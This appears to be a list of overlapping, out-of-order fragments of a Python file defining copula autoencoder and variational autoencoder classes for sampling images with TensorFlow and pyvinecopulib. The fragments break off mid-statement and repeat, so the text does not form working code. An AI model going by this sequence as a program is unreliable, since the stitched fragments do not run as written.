dim_latent=self.z.shape[1]*2) self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2,", "return np.random.normal(loc=0.0, scale=1.0, size=(n_samples, self.latent_dim)) def _decode(self,z): return self.decoder_model.predict(z) def fit(self): pass def", "print(\"Loaded vine copula model.\") class GaussianCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Gaussian Copula", "copula model.\") class GMMNCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with GMMN Copula \"\"\" def", "= GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist = self.copula.fit(self.u, epochs=epochs, batch_size=batch_size,", "Copula Auto Encoder with Vine Copula \"\"\" def fit(self, families=\"nonparametric\", show_trace=False, trunc_lvl=18446744073709551615): if", "tensorflow as tf from models.igc import ImplicitGenerativeCopula, GMMNCopula from models.utils import cdf_interpolator import", "\"\"\" def fit(self): pass def _sample_u(self, n_samples): return np.random.uniform(0.0, 1.0, size=(n_samples, self.u.shape[1])) class", "plt.subplot(1, n, i+1) plt.imshow(np.squeeze(imgs[i]*255), vmin=0, vmax=255, cmap=cmap) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) plt.suptitle(title) plt.tight_layout() class IGCAutoEncoder(CopulaAutoEncoder):", "z=None): # sample an image if z is None: return self._decode(self._sample_z(n_samples)) else: return", "self.encoder_model = ae_model.encoder self.decoder_model = ae_model.decoder self.z = self._encode(x) self.margins = self._fit_margins(self.z) self.u", "kind=\"linear\", x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0], x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0])) return margins def _sample_u(self, n_samples=1): # sample from copula return", "dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class GMMNCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with", "25 def _sample_z(self, n_samples): # sample from latent space return np.random.normal(loc=0.0, scale=1.0, size=(n_samples,", "\"\"\" Copula Auto Encoder with Vine Copula \"\"\" def fit(self, families=\"nonparametric\", show_trace=False, trunc_lvl=18446744073709551615):", "def _decode(self, z): # decode latent space samples to images return self.decoder_model(z).numpy() def", "self.sample_images(n) plt.figure(figsize=(16, 3)) for i in range(n): ax = plt.subplot(1, n, i+1) plt.imshow(np.squeeze(imgs[i]*255),", "show_trace=show_trace) self.copula = pv.Vinecop(data=self.u, controls=controls) def save_model(self, path): self.copula.to_json(path) print(f\"Saved vine copula model", "not None: u_test = self._cdf((self._encode(validation_data))) else: u_test = None #self.copula = GMMNCopula(dim_out =", "n, i+1) plt.imshow(np.squeeze(imgs[i]*255), vmin=0, vmax=255, cmap=cmap) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) plt.suptitle(title) plt.tight_layout() class IGCAutoEncoder(CopulaAutoEncoder): \"\"\"", "n_samples_train=200, regen_noise=10000000, validation_split=0.0, validation_data=None): if validation_data is not None: u_test = self._cdf((self._encode(validation_data))) else:", "n_samples_train=200): self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\")", "GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class VineCopulaAutoEncoder(CopulaAutoEncoder): \"\"\"", "= self._cdf((self._encode(validation_data))) else: u_test = None #self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2)", "is None: imgs = self.sample_images(n) plt.figure(figsize=(16, 3)) for i in range(n): ax =", "as plt class CopulaAutoEncoder(object): def __init__(self, x, ae_model): if isinstance(ae_model, str): ae_model =", "Gaussian Copula \"\"\" def fit(self): self.copula = mv_copulas.GaussianCopula() self.copula.fit(self.u) class IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula", "np.random.uniform(0.0, 1.0, size=(n_samples, self.u.shape[1])) class VariationalAutoEncoder(object): def __init__(self, decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\", latent_dim=25): if isinstance(decoder_model, str):", "i+1) plt.imshow(np.squeeze(imgs[i]*255), vmin=0, vmax=255, cmap=cmap) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) plt.suptitle(title) plt.tight_layout() class IGCAutoEncoder(CopulaAutoEncoder): \"\"\" Copula", "import tensorflow as tf from models.igc import ImplicitGenerativeCopula, GMMNCopula from models.utils import cdf_interpolator", "_cdf(self, z): # get pseudo obs u = np.zeros_like(z) for i in range(u.shape[1]):", "Copula \"\"\" def fit(self, families=\"nonparametric\", show_trace=False, trunc_lvl=18446744073709551615): if families == \"nonparametric\": controls =", "marginal distributions via ecdf interpolation margins = [] for i in range(z.shape[1]): margins.append(cdf_interpolator(z[:,i],", "= self._fit_margins(self.z) self.u = self._cdf(self.z) def _encode(self, x): # encode images to latent", "def fit(self, families=\"nonparametric\", show_trace=False, trunc_lvl=18446744073709551615): if families == \"nonparametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll], trunc_lvl=trunc_lvl,", "path, n_samples_train=200): self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula", "Auto Encoder with Independence Copula \"\"\" def fit(self): pass def _sample_u(self, n_samples): return", "IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Independence Copula \"\"\" def fit(self): pass def", "np import tensorflow as tf from models.igc import ImplicitGenerativeCopula, GMMNCopula from models.utils import", "for i in range(z.shape[1]): margins.append(cdf_interpolator(z[:,i], kind=\"linear\", x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0], x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0])) return margins def _sample_u(self, n_samples=1):", "as tf from models.igc import ImplicitGenerativeCopula, GMMNCopula from models.utils import cdf_interpolator import pyvinecopulib", "None #self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1],", "def save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1],", "as np import tensorflow as tf from models.igc import ImplicitGenerativeCopula, GMMNCopula from models.utils", "if isinstance(decoder_model, str): self.decoder_model = tf.keras.models.load_model(decoder_model) else: self.decoder_model = decoder_model self.decoder_model.compile() self.latent_dim =", "latent space return np.random.normal(loc=0.0, scale=1.0, size=(n_samples, self.latent_dim)) def _decode(self,z): return self.decoder_model.predict(z) def fit(self):", "= self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class VineCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula", "self._fit_margins(self.z) self.u = self._cdf(self.z) def _encode(self, x): # encode images to latent space", "space samples to images return self.decoder_model(z).numpy() def _cdf(self, z): # get pseudo obs", "def save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula = GMMNCopula(dim_out = self.z.shape[1],", "Implicit Generative Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=1000000, validation_split=0.0, validation_data=None): if", "str): ae_model = tf.keras.models.load_model(ae_model) self.encoder_model = ae_model.encoder self.decoder_model = ae_model.decoder self.z = self._encode(x)", "None: return self._ppf(self._sample_u(n_samples)) else: return self._ppf(u) def sample_images(self, n_samples=1, z=None): # sample an", "in range(z.shape[1]): z[:,i] = self.margins[i].ppf(u[:,i]) return z def _fit_margins(self, z): # get the", "return self._ppf(self._sample_u(n_samples)) else: return self._ppf(u) def sample_images(self, n_samples=1, z=None): # sample an image", "dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist = self.copula.fit(self.u, epochs=epochs, batch_size=batch_size, validation_data=u_test, regen_noise=regen_noise, validation_split=0.0) return hist", "n=5, imgs=None, cmap=\"gray\", title=None): if imgs is None: imgs = self.sample_images(n) plt.figure(figsize=(16, 3))", "def load_copula_model(self, path, n_samples_train=200): self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded", "Copula Auto Encoder with Gaussian Copula \"\"\" def fit(self): self.copula = mv_copulas.GaussianCopula() self.copula.fit(self.u)", "n_layers=3, n_neurons=200) hist = self.copula.fit(self.u, epochs=epochs, batch_size=batch_size, validation_data=u_test, regen_noise=regen_noise, validation_split=0.0) return hist def", "regen_noise=10000000, validation_split=0.0, validation_data=None): if validation_data is not None: u_test = self._cdf((self._encode(validation_data))) else: u_test", "z[:,i] = self.margins[i].ppf(u[:,i]) return z def _fit_margins(self, z): # get the marginal distributions", "= ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class GMMNCopulaAutoEncoder(CopulaAutoEncoder):", "Auto Encoder with GMMN Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=10000000, validation_split=0.0,", "= self.margins[i].cdf(z[:,i]) return u def _ppf(self, u): # inverse marginal cdf z =", "samples to images return self.decoder_model(z).numpy() def _cdf(self, z): # get pseudo obs u", "show_trace=show_trace) else: controls = pv.FitControlsVinecop(trunc_lvl=trunc_lvl, show_trace=show_trace) self.copula = pv.Vinecop(data=self.u, controls=controls) def save_model(self, path):", "margins = [] for i in range(z.shape[1]): margins.append(cdf_interpolator(z[:,i], kind=\"linear\", x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0], x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0])) return margins", "pyvinecopulib as pv from models import mv_copulas import matplotlib.pyplot as plt class CopulaAutoEncoder(object):", "def sample_images(self, n_samples=1, z=None): # sample an image if z is None: return", "return z def _fit_margins(self, z): # get the marginal distributions via ecdf interpolation", "_fit_margins(self, z): # get the marginal distributions via ecdf interpolation margins = []", "n_samples): return np.random.uniform(0.0, 1.0, size=(n_samples, self.u.shape[1])) class VariationalAutoEncoder(object): def __init__(self, decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\", latent_dim=25): if", "families == \"parametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep, pv.BicopFamily.gaussian, pv.BicopFamily.student, pv.BicopFamily.clayton, pv.BicopFamily.gumbel, pv.BicopFamily.frank, pv.BicopFamily.joe, pv.BicopFamily.bb1,", "= self._cdf((self._encode(validation_data))) else: u_test = None #self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2)", "with Vine Copula \"\"\" def fit(self, families=\"nonparametric\", show_trace=False, trunc_lvl=18446744073709551615): if families == \"nonparametric\":", "i in range(n): ax = plt.subplot(1, n, i+1) plt.imshow(np.squeeze(imgs[i]*255), vmin=0, vmax=255, cmap=cmap) ax.get_xaxis().set_visible(False)", "u_test = self._cdf((self._encode(validation_data))) else: u_test = None #self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train,", "in range(n): ax = plt.subplot(1, n, i+1) plt.imshow(np.squeeze(imgs[i]*255), vmin=0, vmax=255, cmap=cmap) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False)", "copula return self.copula.simulate(n_samples) def _sample_z(self, n_samples=1, u=None): # sample from latent space if", "self.copula = mv_copulas.GaussianCopula() self.copula.fit(self.u) class IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Independence Copula", "= plt.subplot(1, n, i+1) plt.imshow(np.squeeze(imgs[i]*255), vmin=0, vmax=255, cmap=cmap) ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) plt.suptitle(title) plt.tight_layout() class", "self.latent_dim)) def _decode(self,z): return self.decoder_model.predict(z) def fit(self): pass def sample_images(self, n_samples): # sample", "latent space samples to images return self.decoder_model(z).numpy() def _cdf(self, z): # get pseudo", "else: u_test = None #self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula =", "== \"nonparametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll], trunc_lvl=trunc_lvl, show_trace=show_trace) elif families == \"parametric\": controls =", "u = np.zeros_like(z) for i in range(u.shape[1]): u[:,i] = self.margins[i].cdf(z[:,i]) return u def", "scale=1.0, size=(n_samples, self.latent_dim)) def _decode(self,z): return self.decoder_model.predict(z) def fit(self): pass def sample_images(self, n_samples):", "z): # get pseudo obs u = np.zeros_like(z) for i in range(u.shape[1]): u[:,i]", "models.igc import ImplicitGenerativeCopula, GMMNCopula from models.utils import cdf_interpolator import pyvinecopulib as pv from", "u_test = self._cdf((self._encode(validation_data))) else: u_test = None #self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train,", "= pv.FitControlsVinecop(trunc_lvl=trunc_lvl, show_trace=show_trace) self.copula = pv.Vinecop(data=self.u, controls=controls) def save_model(self, path): self.copula.to_json(path) print(f\"Saved vine", "self.encoder_model(x).numpy() def _decode(self, z): # decode latent space samples to images return self.decoder_model(z).numpy()", "self.copula.fit(self.u, epochs=epochs, batch_size=batch_size, validation_data=u_test, regen_noise=regen_noise, validation_split=0.0) return hist def save_copula_model(self, path): self.copula.save_model(path) def", "return np.random.uniform(0.0, 1.0, size=(n_samples, self.u.shape[1])) class VariationalAutoEncoder(object): def __init__(self, decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\", latent_dim=25): if isinstance(decoder_model,", "save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train,", "None #self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = GMMNCopula(dim_out = self.z.shape[1],", "self.decoder_model(z).numpy() def _cdf(self, z): # get pseudo obs u = np.zeros_like(z) for i", "pv.BicopFamily.gaussian, pv.BicopFamily.student, pv.BicopFamily.clayton, pv.BicopFamily.gumbel, pv.BicopFamily.frank, pv.BicopFamily.joe, pv.BicopFamily.bb1, pv.BicopFamily.bb6, pv.BicopFamily.bb7, pv.BicopFamily.bb8], trunc_lvl=trunc_lvl, show_trace=show_trace) else:", "copula model.\") class VineCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Vine Copula \"\"\" def", "return self.decoder_model(z).numpy() def _cdf(self, z): # get pseudo obs u = np.zeros_like(z) for", "self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class VineCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto", "n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class VineCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder", "n_samples=1): # sample from copula return self.copula.simulate(n_samples) def _sample_z(self, n_samples=1, u=None): # sample", "pv.BicopFamily.bb6, pv.BicopFamily.bb7, pv.BicopFamily.bb8], trunc_lvl=trunc_lvl, show_trace=show_trace) else: controls = pv.FitControlsVinecop(trunc_lvl=trunc_lvl, show_trace=show_trace) self.copula = pv.Vinecop(data=self.u,", "# encode images to latent space return self.encoder_model(x).numpy() def _decode(self, z): # decode", "return self._ppf(u) def sample_images(self, n_samples=1, z=None): # sample an image if z is", "self.decoder_model.predict(z) def fit(self): pass def sample_images(self, n_samples): # sample an image return self._decode(self._sample_z(n_samples))", "epochs=epochs, batch_size=batch_size, validation_data=u_test, regen_noise=regen_noise, validation_split=0.0) return hist def save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self,", "fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=10000000, validation_split=0.0, validation_data=None): if validation_data is not None: u_test", "sample from copula return self.copula.simulate(n_samples) def _sample_z(self, n_samples=1, u=None): # sample from latent", "= self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class GMMNCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula", "x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0])) return margins def _sample_u(self, n_samples=1): # sample from copula return self.copula.simulate(n_samples) def", "def _cdf(self, z): # get pseudo obs u = np.zeros_like(z) for i in", "from latent space if u is None: return self._ppf(self._sample_u(n_samples)) else: return self._ppf(u) def", "u_test = None #self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = GMMNCopula(dim_out", "load_model(self, path): self.copula = pv.Vinecop(filename=path) print(\"Loaded vine copula model.\") class GaussianCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula", "pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll], trunc_lvl=trunc_lvl, show_trace=show_trace) elif families == \"parametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep, pv.BicopFamily.gaussian, pv.BicopFamily.student, pv.BicopFamily.clayton,", "fit(self): pass def sample_images(self, n_samples): # sample an image return self._decode(self._sample_z(n_samples)) def show_images(self,", "dim_latent=self.z.shape[1]*2) self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist = self.copula.fit(self.u,", "ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3,", "return self._decode(z) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if imgs is None: imgs", "copula model to {path}.\") def load_model(self, path): self.copula = pv.Vinecop(filename=path) print(\"Loaded vine copula", "tf.keras.models.load_model(ae_model) self.encoder_model = ae_model.encoder self.decoder_model = ae_model.decoder self.z = self._encode(x) self.margins = self._fit_margins(self.z)", "str): self.decoder_model = tf.keras.models.load_model(decoder_model) else: self.decoder_model = decoder_model self.decoder_model.compile() self.latent_dim = 25 def", "GMMNCopula from models.utils import cdf_interpolator import pyvinecopulib as pv from models import mv_copulas", "Encoder with Gaussian Copula \"\"\" def fit(self): self.copula = mv_copulas.GaussianCopula() self.copula.fit(self.u) class IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder):", "with Gaussian Copula \"\"\" def fit(self): self.copula = mv_copulas.GaussianCopula() self.copula.fit(self.u) class IndependenceCopulaCopulaAutoEncoder(CopulaAutoEncoder): \"\"\"", "from latent space return np.random.normal(loc=0.0, scale=1.0, size=(n_samples, self.latent_dim)) def _decode(self,z): return self.decoder_model.predict(z) def", "ae_model): if isinstance(ae_model, str): ae_model = tf.keras.models.load_model(ae_model) self.encoder_model = ae_model.encoder self.decoder_model = ae_model.decoder", "self._decode(self._sample_z(n_samples)) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if imgs is None: imgs =", "elif families == \"parametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep, pv.BicopFamily.gaussian, pv.BicopFamily.student, pv.BicopFamily.clayton, pv.BicopFamily.gumbel, pv.BicopFamily.frank, pv.BicopFamily.joe,", "pseudo obs u = np.zeros_like(z) for i in range(u.shape[1]): u[:,i] = self.margins[i].cdf(z[:,i]) return", "\"\"\" def fit(self, families=\"nonparametric\", show_trace=False, trunc_lvl=18446744073709551615): if families == \"nonparametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll],", "in range(u.shape[1]): u[:,i] = self.margins[i].cdf(z[:,i]) return u def _ppf(self, u): # inverse marginal", "trunc_lvl=18446744073709551615): if families == \"nonparametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll], trunc_lvl=trunc_lvl, show_trace=show_trace) elif families ==", "= self.sample_images(n) plt.figure(figsize=(16, 3)) for i in range(n): ax = plt.subplot(1, n, i+1)", "pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep, pv.BicopFamily.gaussian, pv.BicopFamily.student, pv.BicopFamily.clayton, pv.BicopFamily.gumbel, pv.BicopFamily.frank, pv.BicopFamily.joe, pv.BicopFamily.bb1, pv.BicopFamily.bb6, pv.BicopFamily.bb7, pv.BicopFamily.bb8], trunc_lvl=trunc_lvl, show_trace=show_trace)", "if z is None: return self._decode(self._sample_z(n_samples)) else: return self._decode(z) def show_images(self, n=5, imgs=None,", "sample from latent space return np.random.normal(loc=0.0, scale=1.0, size=(n_samples, self.latent_dim)) def _decode(self,z): return self.decoder_model.predict(z)", "dim_latent=self.z.shape[1]*2) self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist = self.copula.fit(self.u,", "if validation_data is not None: u_test = self._cdf((self._encode(validation_data))) else: u_test = None #self.copula", "if imgs is None: imgs = self.sample_images(n) plt.figure(figsize=(16, 3)) for i in range(n):", "hist def save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula = ImplicitGenerativeCopula(dim_out =", "= ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2,", "self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2, n_layers=3, n_neurons=200) hist = self.copula.fit(self.u, epochs=epochs,", "save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train,", "self.u = self._cdf(self.z) def _encode(self, x): # encode images to latent space return", "= tf.keras.models.load_model(decoder_model) else: self.decoder_model = decoder_model self.decoder_model.compile() self.latent_dim = 25 def _sample_z(self, n_samples):", "fit(self, families=\"nonparametric\", show_trace=False, trunc_lvl=18446744073709551615): if families == \"nonparametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll], trunc_lvl=trunc_lvl, show_trace=show_trace)", "u): # inverse marginal cdf z = np.zeros_like(u) for i in range(z.shape[1]): z[:,i]", "_sample_u(self, n_samples): return np.random.uniform(0.0, 1.0, size=(n_samples, self.u.shape[1])) class VariationalAutoEncoder(object): def __init__(self, decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\", latent_dim=25):", "[] for i in range(z.shape[1]): margins.append(cdf_interpolator(z[:,i], kind=\"linear\", x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0], x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0])) return margins def _sample_u(self,", "numpy as np import tensorflow as tf from models.igc import ImplicitGenerativeCopula, GMMNCopula from", "Generative Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=1000000, validation_split=0.0, validation_data=None): if validation_data", "n_samples): # sample from latent space return np.random.normal(loc=0.0, scale=1.0, size=(n_samples, self.latent_dim)) def _decode(self,z):", "u def _ppf(self, u): # inverse marginal cdf z = np.zeros_like(u) for i", "= GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class VineCopulaAutoEncoder(CopulaAutoEncoder):", "if families == \"nonparametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll], trunc_lvl=trunc_lvl, show_trace=show_trace) elif families == \"parametric\":", "for i in range(z.shape[1]): z[:,i] = self.margins[i].ppf(u[:,i]) return z def _fit_margins(self, z): #", "validation_data=u_test, regen_noise=regen_noise, validation_split=0.0) return hist def save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200):", "# inverse marginal cdf z = np.zeros_like(u) for i in range(z.shape[1]): z[:,i] =", "plt class CopulaAutoEncoder(object): def __init__(self, x, ae_model): if isinstance(ae_model, str): ae_model = tf.keras.models.load_model(ae_model)", "batch_size=batch_size, validation_data=u_test, regen_noise=regen_noise, validation_split=0.0) return hist def save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self, path,", "None: imgs = self.sample_images(n) plt.figure(figsize=(16, 3)) for i in range(n): ax = plt.subplot(1,", "ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved copula model.\") class GMMNCopulaAutoEncoder(CopulaAutoEncoder): \"\"\"", "path): self.copula.to_json(path) print(f\"Saved vine copula model to {path}.\") def load_model(self, path): self.copula =", "= decoder_model self.decoder_model.compile() self.latent_dim = 25 def _sample_z(self, n_samples): # sample from latent", "self._cdf((self._encode(validation_data))) else: u_test = None #self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula", "def sample_images(self, n_samples): # sample an image return self._decode(self._sample_z(n_samples)) def show_images(self, n=5, imgs=None,", "images return self.decoder_model(z).numpy() def _cdf(self, z): # get pseudo obs u = np.zeros_like(z)", "isinstance(decoder_model, str): self.decoder_model = tf.keras.models.load_model(decoder_model) else: self.decoder_model = decoder_model self.decoder_model.compile() self.latent_dim = 25", "pv.Vinecop(data=self.u, controls=controls) def save_model(self, path): self.copula.to_json(path) print(f\"Saved vine copula model to {path}.\") def", "from models.utils import cdf_interpolator import pyvinecopulib as pv from models import mv_copulas import", "for i in range(u.shape[1]): u[:,i] = self.margins[i].cdf(z[:,i]) return u def _ppf(self, u): #", "an image if z is None: return self._decode(self._sample_z(n_samples)) else: return self._decode(z) def show_images(self,", "controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.tll], trunc_lvl=trunc_lvl, show_trace=show_trace) elif families == \"parametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep, pv.BicopFamily.gaussian,", "load_copula_model(self, path, n_samples_train=200): self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula.load_model(path) print(\"Loaded saved", "self._cdf(self.z) def _encode(self, x): # encode images to latent space return self.encoder_model(x).numpy() def", "return hist def save_copula_model(self, path): self.copula.save_model(path) def load_copula_model(self, path, n_samples_train=200): self.copula = GMMNCopula(dim_out", "else: u_test = None #self.copula = ImplicitGenerativeCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula =", "= self._cdf(self.z) def _encode(self, x): # encode images to latent space return self.encoder_model(x).numpy()", "GaussianCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Gaussian Copula \"\"\" def fit(self): self.copula =", "with GMMN Copula \"\"\" def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=10000000, validation_split=0.0, validation_data=None): if", "VineCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Vine Copula \"\"\" def fit(self, families=\"nonparametric\", show_trace=False,", "ae_model.decoder self.z = self._encode(x) self.margins = self._fit_margins(self.z) self.u = self._cdf(self.z) def _encode(self, x):", "\"\"\" Copula Auto Encoder with Gaussian Copula \"\"\" def fit(self): self.copula = mv_copulas.GaussianCopula()", "= 25 def _sample_z(self, n_samples): # sample from latent space return np.random.normal(loc=0.0, scale=1.0,", "Auto Encoder with Vine Copula \"\"\" def fit(self, families=\"nonparametric\", show_trace=False, trunc_lvl=18446744073709551615): if families", "to latent space return self.encoder_model(x).numpy() def _decode(self, z): # decode latent space samples", "class VariationalAutoEncoder(object): def __init__(self, decoder_model=\"models/autoencoder/VAE_decoder_fashion_mnist_100epochs\", latent_dim=25): if isinstance(decoder_model, str): self.decoder_model = tf.keras.models.load_model(decoder_model) else:", "in range(z.shape[1]): margins.append(cdf_interpolator(z[:,i], kind=\"linear\", x_min=np.min(z[:,i])-np.diff(np.sort(z[:,i])[0:2])[0], x_max=np.max(z[:,i])+np.diff(np.sort(z[:,i])[-2:])[0])) return margins def _sample_u(self, n_samples=1): # sample", "print(\"Loaded saved copula model.\") class VineCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder with Vine Copula", "= self._encode(x) self.margins = self._fit_margins(self.z) self.u = self._cdf(self.z) def _encode(self, x): # encode", "is None: return self._ppf(self._sample_u(n_samples)) else: return self._ppf(u) def sample_images(self, n_samples=1, z=None): # sample", "self.decoder_model = tf.keras.models.load_model(decoder_model) else: self.decoder_model = decoder_model self.decoder_model.compile() self.latent_dim = 25 def _sample_z(self,", "vine copula model to {path}.\") def load_model(self, path): self.copula = pv.Vinecop(filename=path) print(\"Loaded vine", "sample_images(self, n_samples=1, z=None): # sample an image if z is None: return self._decode(self._sample_z(n_samples))", "n_neurons=200) hist = self.copula.fit(self.u, epochs=epochs, batch_size=batch_size, validation_data=u_test, regen_noise=regen_noise, validation_split=0.0) return hist def save_copula_model(self,", 